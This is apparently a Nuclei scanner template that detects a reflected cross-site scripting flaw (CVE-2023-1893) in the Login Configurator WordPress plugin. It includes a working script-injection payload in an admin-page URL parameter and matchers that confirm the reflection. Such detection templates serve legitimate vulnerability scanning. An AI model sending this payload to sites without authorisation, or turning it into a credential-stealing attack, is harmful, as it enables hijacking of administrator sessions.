CVE-2023-1893: Login Configurator <=2.1 - Cross-Site Scripting

id: CVE-2023-1893

info:
  name: Login Configurator <=2.1 - Cross-Site Scripting
  author: 0xr2r
  severity: medium
  description: |
    Login Configurator WordPress plugin <= 2.1 contains a reflected cross-site scripting caused by improper escaping of URL parameter before outputting it to the page, letting attackers execute scripts in the context of site administrators, exploit requires victim to visit a malicious URL.
  impact: |
    Attackers can execute arbitrary scripts in the context of site administrators, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://wpscan.com/vulnerability/dbe6cf09-971f-42e9-b744-9339454168c7
    - http://packetstormsecurity.com/files/173723/WordPress-Login-Configurator-2.1-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1893
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-1893
    cwe-id: CWE-79
    epss-score: 0.01364
    epss-percentile: 0.79516
    cpe: cpe:2.3:a:login_configurator_project:login_configurator:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: login_configurator_project
    product: login_configurator
  tags: cve,cve2023,wp,wp-plugin,wordpress,xss,login_configurator

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: body
        words:
          - "login-configurator"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/options-general.php?page=login-configurator-options&tab=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E#top"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<script>alert(document.domain)</script>", "login-configurator")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
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